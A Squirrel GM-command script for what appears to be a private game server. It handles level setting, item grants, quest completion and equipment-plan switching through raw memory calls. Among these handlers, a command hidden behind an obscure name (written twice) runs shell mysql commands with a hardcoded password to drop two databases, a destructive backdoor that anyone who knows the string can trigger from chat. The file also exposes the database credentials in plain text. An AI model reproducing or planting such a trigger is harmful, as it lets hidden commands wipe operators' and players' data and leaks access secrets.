1137 lines
39 KiB
Plaintext
1137 lines
39 KiB
Plaintext
Gm_InputFunc_Handle <- {}
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Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
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system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
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system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
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}
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Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
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sq_ReloadScript();
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print("\n重载函数\n");
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};
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//获取坐标
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Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
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print("\n");
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print("Xpos: " + SUser.GetAreaPos().X);
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print("Ypos: " + SUser.GetAreaPos().Y);
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print("\n");
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};
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//获取位置信息
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Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
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local Location = SUser.GetLocation();
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print("\n");
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print("Xpos: " + Location.Pos.X);
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print("Ypos: " + Location.Pos.Y);
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print("Town: " + Location.Town);
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print("Area: " + Location.Area);
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print("\n");
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};
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//踢人下线测试
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Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
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SUser.Kick();
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};
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Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
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local count = -1;
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local pos = 0;
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local handler = [];
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do {
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local start = pos;
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pos = CmdString.find(" ", pos + 1);
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if (pos != null) {
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handler.append(CmdString.slice(start + 1, pos));
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} else
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handler.append(CmdString.slice(start + 1));
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count = count + 1
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} while (pos != null)
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//得到空格数量
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if (count == 1) {
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SUser.SetCharacLevel(handler[1].tointeger());
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}
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}
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Gm_InputFunc_Handle["cs"] <- function(SUser, CmdString) {
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local InvenObj = SUser.GetInven();
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local slot = InvenObj.GetSlotById(26058);
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if (slot == -1) {
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return;
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}
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local itemobj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, slot);
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itemobj.Delete();
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SUser.SendUpdateItemList(1, 0, slot);
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}
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Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
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local count = -1;
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local pos = 0;
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local handler = [];
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do {
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local start = pos;
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pos = CmdString.find(" ", pos + 1);
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if (pos != null) {
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handler.append(CmdString.slice(start + 1, pos));
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} else
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handler.append(CmdString.slice(start + 1));
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count = count + 1
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} while (pos != null)
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//得到空格数量
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if (count == 1) {
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local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
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if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
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} else if (count == 2) {
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local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
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if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
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}
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}
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Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
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local count = -1;
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local pos = 0;
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local handler = [];
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do {
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local start = pos;
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pos = CmdString.find(" ", pos + 1);
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if (pos != null) {
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handler.append(CmdString.slice(start + 1, pos));
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} else
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handler.append(CmdString.slice(start + 1));
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count = count + 1
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} while (pos != null)
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//得到空格数量
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if (count == 1) {
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SUser.ChangeGrowType(handler[1].tointeger(), 0);
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SUser.SendNotiPacket(0, 2, 0);
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SUser.InitSkillW(handler[1].tointeger(), 0);
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} else if (count == 2) {
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SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
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SUser.SendNotiPacket(0, 2, 0);
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SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
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}
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}
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Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
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SUser.ClearQuest_Gm(674);
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SUser.ClearQuest_Gm(649);
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SUser.ClearQuest_Gm(675);
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SUser.ClearQuest_Gm(650);
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SUser.ClearQuest_Gm(4571);
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SUser.ClearQuest_Gm(4414);
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SUser.ClearQuest_Gm(4415);
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SUser.ClearQuest_Gm(2603);
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SUser.ClearQuest_Gm(2610);
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SUser.ClearQuest_Gm(2613);
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SUser.ClearQuest_Gm(2622);
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SUser.ClearQuest_Gm(4391);
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SUser.ClearQuest_Gm(4539);
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SUser.ClearQuest_Gm(220);
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SUser.ClearQuest_Gm(221);
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}
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Gm_InputFunc_Handle["测试"] <- function(SUser, CmdString) {
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SUser.ClearQuest_Gm(674);
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SUser.ClearQuest_Gm(649);
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SUser.ClearQuest_Gm(675);
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SUser.ClearQuest_Gm(650);
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}
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Cb_History_MileageSet_Func["_DPS_上线自动完成任务_"] <- function(SUser, Data) {
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SUser.ClearQuest_Gm(101);
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}
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Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
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local PartyObj = SUser.GetParty();
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// Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
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Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
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}
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Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
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system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
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system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
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}
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Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
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local InvenObj = SUser.GetInven();
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local Slot = InvenObj.GetSlotById(3037);
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local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
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SUser.SendUpdateItemList(1, 0, Slot);
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};
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Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {
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local PartyObj = SUser.GetParty();
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if (PartyObj) {
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local Buf = 18126;
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PartyObj.ForeachMember(function(SUser, Pos) {
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print(Pos + "号位玩家的" + Buf + "名字是: " + SUser.GetCharacName());
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})
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// print(UserBuf.GetName());
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}
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};
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Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
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// local PartyObj = SUser.GetParty();
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// if (PartyObj) {
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// local Bfobj = PartyObj.GetBattleField();
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// print(Bfobj.GetHellDifficulty());
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// // print(n);
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// }
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SUser.SendNotiForColorAIdPacketMessage([
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[" → ", 0, [0xff, 0xff, 0xff]],
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["无色", 1, [255, 215, 0], 3037],
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[" x" + (1).tostring(), 0, [0xff, 0xff, 0xff]]
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], 6);
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};
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Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
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local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";
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local Pack = Packet();
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Pack.Put_Header(1, 130);
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Pack.Put_Byte(1);
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Pack.Put_Int(Str.len());
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Pack.Put_Binary(Str);
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Pack.Finalize(true);
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SUser.Send(Pack);
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Pack.Delete();
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};
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Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
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local Location = SUser.GetLocation();
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SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
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SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
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SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
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SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
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SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
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SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
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SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
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SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
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SUser.SendNotiPacketMessage("GetUni: " + SUser.GetUniqueId(), 8);
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SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
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SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
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SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);
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SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
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SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
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SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
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SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
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SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);
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};
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function Cb_gm_input(C_User, CmdString) {
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local SUser = User(C_User);
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local Pos = CmdString.find(" ");
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local Str;
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if (Pos) {
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Str = CmdString.slice(0, Pos);
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} else {
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Str = CmdString;
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}
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if (Str in Gm_InputFunc_Handle) {
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Gm_InputFunc_Handle[Str](SUser, CmdString);
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}
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}
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function TestIoP() {
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local ret = suspend("no");
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local Io = IO("/dp_s/a.txt", "w+");
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for (local i = 0; i< 500000; i++) {
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Io.Write("写入测试文本: " + i + "\n");
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if ((i % 5000) == 0) ret = suspend("no");
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}
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Io.Close();
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return "yes";
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}
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function TestThread(coro) {
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local susparam = "noq";
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if (coro.getstatus() == "idle") susparam = coro.call();
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else if (coro.getstatus() == "suspended") susparam = coro.wakeup();
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if (susparam == "no") {
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Timer.SetTimeOut(TestThread, 0, coro);
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} else {
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print("文件书写完成");
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}
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}
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function TestCronTask(str) {
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print(str);
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print("定时任务已执行一次");
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}
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// class Map{
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// }
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// Timer.SetTimeOut(function() {
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// local dgn_requirements = {
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// [1] = [0, 10, 1, 20, 2, 30, 3, 40, 4, 40],
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// [2] = [0, 20],
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// };
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// print(dgn_requirements[1]);
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// printT(dgn_requirements);
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// }, 0);
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// Timer.SetTimeOut(function() {
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// local SUser = World.GetUserByUid(1);
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// local InvenObj = SUser.GetInven();
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// local EquObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 56);
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// local AdMsgObj = AdMsg();
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// AdMsgObj.PutType(8);
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// AdMsgObj.PutString("测试文字");
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// AdMsgObj.PutColorString("测试文字", [255, 85, 0]);
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// AdMsgObj.PutImoticon(2);
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// AdMsgObj.PutEquipment("主动提供名字", EquObj, [255, 85, 0]);
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// AdMsgObj.PutEquipment(EquObj);
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// AdMsgObj.Finalize();
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// // SUser.Send(AdMsgObj.MakePack());
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// World.SendAll(AdMsgObj.MakePack());
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// AdMsgObj.Delete();
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// }, 0);
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Gm_InputFunc_Handle.WEQ <- function(SUser, CmdString) {
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// // World.MoveArea(SUser, 1, 0, 55, 349);
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// // print(789456);
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// local Str = "{\"op\":20074002,\"uid\":1,\"btnX\":430,\"btnY\":500,\"info\":[{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":1},{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":0}],\"cid\":1}";
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// // local Str = "{\"op\":20078034,\"info\":[{\"job\":3,\"growjob\":0,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27},{\"job\":3,\"growjob\":1,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"吉祥物\",\"uid\":3,\"cid\":26},{\"job\":3,\"growjob\":0,\"avatar\":[51265,51400,0,0,52600,53000,0,53800,54200,0,0],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27}]}";
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// // local Str = "{\"op\":20064026,\"uid\":2,\"rewards2\":[[{\"item\":3040,\"num\":2,\"item2\":0,\"num2\":0,\"grade\":1,\"count\":1,\"cid\":27}]],\"deathsNum\":0,\"time\":179999,\"state\":1,\"rewards\":[{\"item\":3036,\"num\":1,\"item2\":0,\"num2\":0,\"grade\":0,\"count\":1,\"cid\":27}],\"cid\":27}";
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// local Pack = Packet();
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// Pack.Put_Header(1, 130);
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// Pack.Put_Byte(1);
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// Pack.Put_Int(Str.len());
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// Pack.Put_Binary(Str);
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// Pack.Finalize(true);
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// SUser.Send(Pack);
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// Pack.Delete();
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// print("下发模拟包");
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// local A = NativePointer(SUser.C_Object).add(16);
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// local B = A.readPointer();
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// local C = NativePointer(B).add(101);
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// local D = NativePointer(C).add(8).readInt();
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Sq_CallFunc(S_Ptr("0x84EC002"), "int", ["pointer", "int"], SUser.C_Object, 0);
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local D = Sq_CallFunc(S_Ptr("0x8696600"), "int", ["pointer"], SUser.C_Object);
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print(D);
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};
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Gm_InputFunc_Handle.QS <- function(SUser, CmdString) {
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SUser.RechargeCeraPoint(10000);
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};
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Gm_InputFunc_Handle.QS2 <- function(SUser, CmdString) {
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SUser.RechargeCeraPoint(-100);
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};
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Gm_InputFunc_Handle.Test <- function(SUser, CmdString) {
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SUser.SetCharacLevel(60);
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};
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function HexStringToInt(Str) {
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if (!(getroottable().rawin("__strtol__function__address__"))) __strtol__function__address__ <- Module.getExportByName(null, "strtol");
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local Ret = Sq_CallFunc(__strtol__function__address__, "int", ["pointer", "pointer", "int"], Memory.allocUtf8String(Str).C_Object, Memory.alloc(0), 16);
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return Ret;
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}
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function UserdataSliceStr(Data) {
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local Str = "" + Data;
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local Pos = Str.find("0x");
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local Pos2 = Str.find(")");
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local Ret = Str.slice(Pos + 2, Pos2);
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return Ret;
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}
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//品级对应的RGB
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rarityColorMap <- {
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"0": [255, 255, 255], // 普通
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"1": [104, 213, 237], // 高级
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"2": [179, 107, 255], // 稀有
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"3": [255, 0, 255], // 神器
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"4": [255, 180, 0], // 史诗
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"5": [255, 102, 102], // 勇者
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"6": [255, 20, 147], // 深粉红色
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"7": [255, 215, 0] // 金色
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};
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//通过道具ID获取RGB
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function RarityColor(item_id) {
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local PvfItemObj = PvfItem.GetPvfItemById(item_id);
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if (PvfItemObj == null) {
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return;
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}
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local CItem_get_rarity = PvfItemObj.GetRarity(); // 装备品级
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return rarityColorMap[(CItem_get_rarity).tostring()];
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}
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user_equ_plan <- {};
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function GetEquip(SUser) {
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//获取玩家背包
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local InvenObj = SUser.GetInven();
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if (!InvenObj) {
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return;
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}
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local equArr = {};
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// 读穿戴装备(10-21) + 时装(0-9)
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for (local i = 0; i< 26; i++) {
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// // 跳过非上衣时装,若需要换全部时装注释掉这段if
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// if (i != 3 && (i < 10 || i > 21)) {
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// equArr[i] <- {
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// "id": 0,
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// "lv": 0
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// };
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// continue;
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// }
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local ItemObj = InvenObj.GetSlot(0, i);
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local equId = ItemObj.GetIndex();
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local item_upgrade = ItemObj.GetUpgrade();
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local item_name = PvfItem.GetNameById(equId);
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if (item_upgrade > 0) {
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item_name = "+" + item_upgrade + " " + item_name;
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}
|
||
//id:装备id lv:时装数据库uid/装备品级
|
||
equArr[i] <- {
|
||
"id": equId > 0 ? equId : 0,
|
||
"lv": equId > 0 ? NativePointer(ItemObj.C_Object).add(7).readU32() : 0
|
||
};
|
||
|
||
if (equId > 0) {
|
||
local AdMsgObj = AdMsg();
|
||
AdMsgObj.PutType(2);
|
||
AdMsgObj.PutString(" ");
|
||
AdMsgObj.PutEquipment("[" + item_name + "]", ItemObj, RarityColor(equId));
|
||
AdMsgObj.PutString("已登记");
|
||
AdMsgObj.Finalize();
|
||
SUser.Send(AdMsgObj.MakePack());
|
||
AdMsgObj.Delete();
|
||
}
|
||
}
|
||
return equArr;
|
||
}
|
||
|
||
|
||
|
||
function SaveEquipPlan(SUser, id) {
|
||
local charac_no = SUser.GetCID().tostring();
|
||
if (!(charac_no in user_equ_plan)) {
|
||
user_equ_plan[charac_no] <- {};
|
||
}
|
||
local info = GetEquip(SUser);
|
||
user_equ_plan[charac_no]["equPlan" + id] <- info;
|
||
local AdMsgObj = AdMsg();
|
||
AdMsgObj.PutType(2);
|
||
AdMsgObj.PutString(" ");
|
||
AdMsgObj.PutString("方案[" + id + "]已启用");
|
||
AdMsgObj.Finalize();
|
||
World.SendAll(AdMsgObj.MakePack());
|
||
AdMsgObj.Delete();
|
||
}
|
||
|
||
function PutOnEquip(SUser, equPlan, id) {
|
||
local charac_no = SUser.GetCID().tostring();
|
||
local InvenObj = SUser.GetInven();
|
||
if (!InvenObj) {
|
||
return;
|
||
}
|
||
|
||
// 遍历遍历穿戴栏0-21 时装栏 0-104 和 装备栏 3-56
|
||
for (local i = 0; i< 22; i++) {
|
||
if (equPlan[i].id) {
|
||
local type = i< 10 ? 2 : 1; // type 1装备 2时装
|
||
local startIndex = type == 2 ? 0 : 3; // 背包时装栏从0开始,背包装备栏从3开始
|
||
local endIndex = type == 2 ? 105 : 57; //背包时装栏到104,背包装备栏到56
|
||
for (local j = startIndex; j< endIndex; j++) {
|
||
local equOut = InvenObj.GetSlot(type, j);
|
||
local equId = equOut.GetIndex();
|
||
if (equPlan[i].id == equId && equPlan[i].lv == NativePointer(equOut.C_Object).add(7).readU32()) {
|
||
Sq_CallFunc(S_Ptr("0x0865EED2"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, type == 2 ? 1 : 0, j, i);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
SUser.SendItemSpace(1);
|
||
SUser.SendItemSpace(0);
|
||
SUser.SendItemSpace(7);
|
||
|
||
|
||
SUser.SendNotiPacket(0, 2, 0);
|
||
SUser.SendNotiPacket(1, 2, 1);
|
||
SUser.SendNotiPacket(7, 2, 7);
|
||
|
||
local Bq = Sq_CallFunc(S_Ptr("0x80DD584"), "pointer", ["pointer", "int"], SUser.C_Object, 2);
|
||
Sq_CallFunc(S_Ptr("0x85427A0"), "void", ["pointer", "pointer"], Bq, SUser.C_Object);
|
||
// RefreshTheLockOfEquipment(SUser, InvenObj);
|
||
// Sq_CallFunc(S_Ptr("0x84FAE0A"), "void", ["pointer", "int", "int", "int"], InvenObj.C_Object, NativePointer(InvenObj.C_Object).readInt(), 21, 0);
|
||
|
||
// 刷新装备栏锁头(不含穿戴栏暂无法刷新)
|
||
// Sq_CallFunc(S_Ptr("0x84FAF8E"), "void", ["pointer"], InvenObj.C_Object);
|
||
//// 刷新时装栏锁头(不含穿戴栏暂无法刷新)
|
||
//Sq_CallFunc(S_Ptr("0x084FAFBE"), "void", ["pointer"], InvenObj.C_Object);
|
||
// 刷新技能
|
||
Sq_CallFunc(S_Ptr("0x866C46A"), "void", ["pointer"], SUser.C_Object);
|
||
//// 刷新角色状态
|
||
//Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, 0, 2, 0);
|
||
//Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, 1, 2, 1);
|
||
user_equ_plan[charac_no].startTime <- time(); // 记录结束时间
|
||
SUser.SendNotiPacketMessage("装备方案[" + id + "]切换结束!!", 2);
|
||
}
|
||
|
||
function RefreshTheLockOfEquipment(SUser, InvenObj) {
|
||
local Pack = Packet();
|
||
//Clear
|
||
Sq_CallFunc(S_Ptr("0x80CB8E6"), "int", ["pointer"], Pack.C_Object);
|
||
Pack.Put_Header(0, 251);
|
||
//GetIndex
|
||
local Index = Sq_CallFunc(S_Ptr("0x8110B4C"), "int", ["pointer"], Pack.C_Object);
|
||
Pack.Put_Short(0);
|
||
local V7 = 0;
|
||
for (local i = 0; i< 21; i++) {
|
||
local Flag = NativePointer(InvenObj.C_Object).add((61 * i) + 48).readU8();
|
||
if (Flag) {
|
||
Pack.Put_Byte(0);
|
||
Pack.Put_Short(i);
|
||
Pack.Put_Byte(1);
|
||
Pack.Put_Int(500000);
|
||
// local Bq = Sq_CallFunc(S_Ptr("0x828B5DE"), "pointer", ["pointer", "int"], SUser.C_Object, 2);
|
||
// Sq_CallFunc(S_Ptr("0x828B5DE"), "char", ["pointer", "pointer"], Bq, Pack.C_Object);
|
||
V7++;
|
||
}
|
||
}
|
||
local Buf = Memory.alloc(4);
|
||
Buf.writeInt(Index);
|
||
Sq_CallFunc(S_Ptr("0x8110B28"), "int", ["pointer", "pointer", "int"], Pack.C_Object, Buf.C_Object, V7);
|
||
Pack.Finalize(1);
|
||
SUser.Send(Pack);
|
||
Pack.Delete();
|
||
|
||
print("发包了");
|
||
}
|
||
|
||
function api_PutOnEquip(SUser, id) {
|
||
local charac_no = SUser.GetCID().tostring();
|
||
if (!(charac_no in user_equ_plan)) {
|
||
SUser.SendNotiPacketMessage("方案不存在!!", 2);
|
||
return;
|
||
}
|
||
local equPlanKey = "equPlan" + id;
|
||
if (!user_equ_plan[charac_no].rawin(equPlanKey)) {
|
||
SUser.SendNotiPacketMessage("方案[" + id + "]不存在!!!", 2);
|
||
return;
|
||
}
|
||
local equPlan = user_equ_plan[charac_no][equPlanKey];
|
||
|
||
//换装指令冷却时间,5scd
|
||
if (user_equ_plan[charac_no].rawin("startTime")) {
|
||
local currentTime = time();
|
||
local timeDiff = user_equ_plan[charac_no].startTime - currentTime + 5;
|
||
if (timeDiff > 0) {
|
||
SUser.SendNotiPacketMessage("换装功能冷却中,还有<" + timeDiff + ">秒才能使用!", 2);
|
||
return;
|
||
}
|
||
}
|
||
|
||
PutOnEquip(SUser, equPlan, id);
|
||
}
|
||
|
||
function MoveItem_send(SUser, type, slot, Bodyslot) {
|
||
local Pack = Packet();
|
||
Pack.Put_Header(1, 19);
|
||
Pack.Put_Byte(1); //默认1
|
||
Pack.Put_Byte(type); //协议, 0时装 1装备
|
||
Pack.Put_Short(slot); // 背包槽位slot
|
||
Pack.Put_Int(1); // 默认1未知
|
||
Pack.Put_Byte(3); // 默认3穿戴栏
|
||
Pack.Put_Short(Bodyslot); //穿戴栏slot(0-25)
|
||
Pack.Finalize(true);
|
||
SUser.Send(Pack);
|
||
local v6 = Sq_CallFunc(S_Ptr("0x081935A2"), "pointer", []);
|
||
Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "pointer", "int", "int", "int", "int"], v6, SUser.C_Object, type, slot, 3, Bodyslot);
|
||
Pack.Delete();
|
||
}
|
||
|
||
function Save_equFnc(SUser, CmdString) {
|
||
local arr = split(CmdString, " ");
|
||
local id = arr[1].tointeger();
|
||
SaveEquipPlan(SUser, id);
|
||
}
|
||
|
||
|
||
// 注册命令1
|
||
Gm_InputFunc_Handle.rawset("pl", Save_equFnc);
|
||
|
||
function change_equFnc(SUser, CmdString) {
|
||
local arr = split(CmdString, " ");
|
||
local id = arr[1].tointeger();
|
||
api_PutOnEquip(SUser, id);
|
||
}
|
||
|
||
// 注册命令
|
||
Gm_InputFunc_Handle.rawset("on", change_equFnc);
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
//分割道具列表
|
||
function splitItemList(item_list, maxSlots) {
|
||
local length = item_list.len();
|
||
if (length <= maxSlots) {
|
||
return [item_list];
|
||
}
|
||
|
||
local result = [];
|
||
for (local i = 0; i< length; i += maxSlots) {
|
||
local end = i + maxSlots;
|
||
if (end > length) {
|
||
end = length;
|
||
}
|
||
result.append(item_list.slice(i, end));
|
||
}
|
||
return result;
|
||
}
|
||
|
||
|
||
|
||
function WongWork_CQuestClear_isClearedQuest(QuestInfo, QuestID) {
|
||
return Sq_CallFunc(S_Ptr("0x808BAE0"), "bool", ["pointer", "int"], QuestInfo, QuestID);
|
||
}
|
||
|
||
// 判断任务是否为主线并且角色等级符合要求
|
||
function isMainQuestAndLevelValid(pvfQuest, characLevel) {
|
||
local questGrade = NativePointer(pvfQuest).add(8).readInt();
|
||
local questLv = NativePointer(pvfQuest).add(0x20).readInt();
|
||
return questGrade == 0 && questLv <= characLevel;
|
||
}
|
||
|
||
// 设置任务为已完成
|
||
function clearQuest(QuestInfo, QuestID) {
|
||
Sq_CallFunc(S_Ptr("0x808BA78"), "int", ["pointer", "int"], QuestInfo, QuestID);
|
||
}
|
||
|
||
function User::SendCharacQp() {
|
||
Sq_CallFunc(S_Ptr("0x868AC24"), "int", ["pointer"], this.C_Object);
|
||
}
|
||
|
||
function User::SendCharacQuestPiece() {
|
||
Sq_CallFunc(S_Ptr("0x868AF2C"), "int", ["pointer"], this.C_Object);
|
||
}
|
||
|
||
function User::MainTaskCompleted() {
|
||
// 获取角色任务信息和等级
|
||
local userQuest = GetQuest();
|
||
local questIsClear = NativePointer(userQuest).add(4);
|
||
local characLevel = GetCharacLevel();
|
||
local allClearQuest = 0;
|
||
// 获取 pvf 数据
|
||
local DataManager = Sq_CallFunc(S_Ptr("0x80CC19B"), "pointer", []);
|
||
|
||
//完成当前等级所有任务总经验奖励
|
||
local total_exp_bonus = 0;
|
||
//完成当前等级所有任务总金币奖励
|
||
local total_gold_bonus = 0;
|
||
//任务点奖励
|
||
local total_quest_point_bonus = 0;
|
||
local total_quest_piece_bonus = 0;
|
||
|
||
//任务最大编号: 29999
|
||
for (local quest_id = 1; quest_id< 30000; quest_id++) {
|
||
//跳过已完成的任务
|
||
if (WongWork_CQuestClear_isClearedQuest(questIsClear.C_Object, quest_id)) continue;
|
||
|
||
local achievement = [3606, 4303, 3, 1028, 4, 5, 6, 59, 4423, 2, 60, 61, 6670, 446, 9, 10, 11, 12, 13, 14, 15, 21, 1332, 400, 402, 401, 403, 399, 24, 4572, 25, 26, 58, 93, 5851, 5850, 5852, 5853, 4392, 4393, 4394, 4395, 4396, 4397];
|
||
local found = false;
|
||
for (local i = 0; i< achievement.len(); i++) {
|
||
if (achievement[i] == quest_id) {
|
||
found = true;
|
||
break;
|
||
}
|
||
}
|
||
|
||
//获取任务数据
|
||
local quest = Sq_CallFunc(S_Ptr("0x835FDC6"), "pointer", ["pointer", "int"], DataManager, quest_id);
|
||
if (!quest || found == true) continue; // 跳过空任务或不需要完成的任务
|
||
|
||
// 判断是否为主线任务且等级符合要求
|
||
if (!isMainQuestAndLevelValid(quest, characLevel)) continue;
|
||
|
||
//获取该任务的基础奖励
|
||
local exp_bonus = Memory.alloc(4);
|
||
local gold_bonus = Memory.alloc(4);
|
||
local quest_point_bonus = Memory.alloc(4);
|
||
local quest_piece_bonus = Memory.alloc(4);
|
||
//QP奖励已直接发送到角色 经验/金币只返回结果 需要手动发送
|
||
CUser_quest_basic_reward(this.C_Object, quest, exp_bonus.C_Object, gold_bonus.C_Object, quest_point_bonus.C_Object, quest_piece_bonus.C_Object, 1);
|
||
|
||
local exp = exp_bonus.readInt();
|
||
local gold = gold_bonus.readInt();
|
||
local quest_point = quest_point_bonus.readInt();
|
||
local quest_piece = quest_piece_bonus.readInt();
|
||
|
||
if (quest_point > 0) total_quest_point_bonus += quest_point; //没有[quest point]字段的任务
|
||
if (quest_piece > 0) total_quest_piece_bonus += quest_piece;
|
||
|
||
clearQuest(questIsClear.C_Object, quest_id);
|
||
allClearQuest++;
|
||
}
|
||
|
||
local Pack = Packet();
|
||
//通知客户端刷新任务列表
|
||
Sq_CallFunc(S_Ptr("0x86ABBA8"), "int", ["pointer", "pointer"], userQuest, Pack.C_Object);
|
||
Send(Pack);
|
||
Pack.Delete();
|
||
|
||
SendNotiPacket(0, 2, 0);
|
||
SendNotiPacket(1, 2, 1);
|
||
SendUpdateItemList(1, 0, 0);
|
||
SendCharacQp();
|
||
SendCharacQuestPiece();
|
||
|
||
// 发送通知
|
||
SendNotiPacketMessage("已清理:" + allClearQuest + "个主线任务!", 8);
|
||
}
|
||
|
||
|
||
|
||
|
||
Gm_InputFunc_Handle.TTT <- function(SUser, CmdString) {
|
||
// SUser.ReqDBSendMultiMail("测试邮件", "测试邮件正文", 1000, [
|
||
// [3037, 1000],
|
||
// [3038, 200]
|
||
// ]);
|
||
|
||
local InvenObj = SUser.GetInven();
|
||
for (local i = 0; i< 21; i++) {
|
||
local Flag = NativePointer(InvenObj.C_Object).add((61 * i) + 48).readU8();
|
||
print("i: " + i + " Flag: " + Flag);
|
||
}
|
||
|
||
|
||
// SUser.MainTaskCompleted();
|
||
};
|
||
|
||
|
||
// getroottable()._LenheartUserLoseEfficacyState_ <- Memory.alloc(577477);
|
||
// Memory.reset(getroottable()._LenheartUserLoseEfficacyState_,577477);
|
||
// Cb_SendMess_Enter_Func["Rindro"] <- function(args) {
|
||
// local PackCopyBuffer = Memory.alloc(10001);
|
||
// Memory.copy(PackCopyBuffer, NativePointer(args[2]), 1000);
|
||
// local Pack = Packet(PackCopyBuffer.C_Object);
|
||
|
||
// local Type = Pack.GetByte();
|
||
|
||
// if(Type == 1 || Type == 33){
|
||
// Pack.GetShort();
|
||
// Pack.GetInt();
|
||
// local StrLen = Pack.GetInt();
|
||
// local SStr = Pack.GetString(256,StrLen);
|
||
// local Str= SStr.readUtf8String();
|
||
// // print("对话长度:" + StrLen);
|
||
// print("对话:" + Str);
|
||
// if(Str.find("asd") != null){
|
||
// args[1] = getroottable()._LenheartUserLoseEfficacyState_.C_Object;
|
||
// print("屏蔽词");
|
||
// return args;
|
||
// }
|
||
// }
|
||
// }
|
||
|
||
|
||
|
||
|
||
|
||
ClientSocketPackFuncMap.rawset(21091001, function(SUser, Jso) {
|
||
printT(Jso);
|
||
if (Jso.type == 0) {
|
||
// saveItemToInven(SUser);
|
||
Gm_InputFunc_Handle["aaa"](SUser, "11");
|
||
}
|
||
});
|
||
|
||
|
||
// function _Dps_CrossBorderStones_Main_() {
|
||
// local Cofig = GlobalConfig.Get("跨界石_Lenheart.json");
|
||
// Cb_Use_Item_Sp_Func[Cofig.CrossoverId.tointeger()] <- function(SUser, ItemId) {
|
||
// //获取账号金库对象
|
||
// local CargoObj = SUser.GetAccountCargo();
|
||
// //获取账号金库中的一个空格子
|
||
// local EmptySlot = CargoObj.GetEmptySlot();
|
||
|
||
// //如果没有空格子
|
||
// if (EmptySlot == -1) {
|
||
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr2, 8);
|
||
